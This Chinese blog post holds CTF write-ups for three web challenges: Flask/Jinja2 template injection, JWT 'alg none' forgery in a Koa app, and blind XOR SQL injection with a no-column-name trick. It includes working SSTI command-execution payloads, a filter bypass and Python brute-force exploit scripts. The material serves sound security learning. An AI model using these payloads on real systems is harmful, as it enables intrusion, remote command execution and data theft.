2021-03-08

46 篇文章 0 订阅

[CSCCTF 2019 Qual]FlaskLight

知识点

  • SSTI
  • flask模板

启动:

在这里插入图片描述
进入环境,f12可以看到提示get传参search。猜测是个flask的模板注入。

再根据题目等提示 :flask模板,测试一下在这里插入图片描述
接下来就是正常的SSTI注入的测试,注到{{[].__class__.__bases__[0].__subclasses__()}}这里列出了所有的类,
在这里插入图片描述

找了一个经常用的用来RCE的类,发现真的存在,然后继续注,但是不行了,返回了500。
然后我又把后面的.__init__.__globals__['popen']('ls').read()分别测试了一下看看哪里出了问题,发现好像过滤了globals,就有点懵。最后查看WP

编写脚本查找可利用的类
利用subprocess.Popen执行命令

import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
    try:
        url = "http://17ad255a-204e-4624-b878-e3e0d62e526a.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
        r = requests.get(url)
        res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
        time.sleep(0.1)
        # print(res)
        # print(r.text)
        res = html.unescape(res[0])
        print(str(i) + " | " + res)
        if "subprocess.Popen" in res:
            index = i
            break
    except:
        continue
print("indexo of subprocess.Popen:" + str(index))

例一
warnings.catch_warnings

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

PS:由于使用[‘globals’]会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式[‘glo’+'bals’]

最后获取flag
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
例二:
class’site._Printer’
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
获取flag
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}
例三:
popen

{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}} {{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}} {{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}在这里插入图片描述

[HFCTF2020]EasyLogin -wp

app.js代码学习
首先是/static/js/app.js的代码。

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置?不管了先填个根目录XD
 */

function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

一句一句的学

第一部分

const username = $("#username").val();
const password = $("#password").val();

const作用和var作用相似,但是const赋的值必须初始化且不可修改。

$("#username")为id选择器,获得id为userName的标签,通过.val(),获得这个标签的value的值,赋值给你声明的变量const username在这里插入图片描述
第二部分

const token = sessionStorage.getItem("token");

在这里插入图片描述
第三部分

$.post("/api/login", {username, password, authorization:token})

传送门在这里插入图片描述
也就是使用post访问,前面为url,后面为参数。
第四部分

        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);

然后是是done方法和fail方法,成功了就重定位到/home目录,失败了就返回异常信息。

const {status} = data;

查了查这个花括号的作用,如下:在这里插入图片描述
然后后面的代码基本都看得懂了

controllers/api.js部分学习

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

登录的时候生成了一个jwt令牌 jwt讲解
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
然后是admin的话,会输出flag

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

于是将算法修改为none进行攻击在这里插入图片描述
在登录页面抓包,更改包
payload:
{"alg":"none","typ":"JWT"}.{"secretid":[],"username": "admin","password": "a","iat": 1587632063}.
在这里插入图片描述
然后用生成的cookie访问,即可拿到flag在这里插入图片描述
解题过程参考链接:WP

[GYCTF2020]Ezsqli

知识点

  • SQL注入
  • 绕过information的过滤
  • ascii偏移

启动:在这里插入图片描述
据题目意思已经很明显是SQL注入了

fuzz一波,在这里插入图片描述
过滤了好多东西,包括用来查询的information关键词,基本上就是考虑盲注了在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
尝试异或注入在这里插入图片描述
发现可行,
他过滤or 我们的information就不能用了
在这里插入图片描述
换成innodb_table_stats绕过也无果在这里插入图片描述
发现sys.x$schema_flattened_keys 或者 sys.schema_table_statistics_with_buffer可以替代上面那个,果然条条道路通罗马在这里插入图片描述
接下来就可以写脚本判断表名了

import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
result = ''
for j in range(1,500):
    for i in range(32, 127):
        py = payload.format(j,i)
        post_data = {'id': py}
        re = requests.post(url, data=post_data)
        if 'Nu1L' in re.text:
            result += chr(i)
            print(result)
            break

在这里插入图片描述
并且这里还过滤了join,查列就非常困难了在这里插入图片描述
但是这个只能查表,接着就只能用无列名注入了
对构造盲注无列名注入了解的还不够彻底
无列名注入讲解

盲注无列名构造 参考文章
Y1ng师傅参考文献

payload
1^((1,'G')>(select * from f1ag_1s_h3r3_hhhhh))^1
原理大概就是使用单引号里面的字母与表中数据的字母进行比较,其实就是进行ascii的比较,比如:
b>a
abd>abc
baaaa>abbb //第一个字母大就整体判断为大,如果第一个字母相同再对第二个进行比较。
那么进过了简单的手工尝试可以知道前面几位为FLAG{
那么后面的用脚本跑一下即可。
buu的环境访问太快会429,可以慢慢来,跑出几位就网flag里加几个,慢慢的可以跑出来。当然有能力直接控制线程当然最好。
exp:

import requests
url = 'http://bb098698-4715-4fbf-853c-23007c53cb41.node3.buuoj.cn/index.php'
flag='FLAG{'
for j in range(1,50):
    for x in range(28, 128):
        flag1 = flag+chr(x)
        payload = "0^((select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag1)

        data = {'id': payload}
        re = requests.post(url=url, data=data)

        if 'Nu1L' in re.text:
            break;

    flag  += chr(x-1)
    print(flag)
    print(flag.lower()) #因为出来的flag是大写,这边全部转为小写
    

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值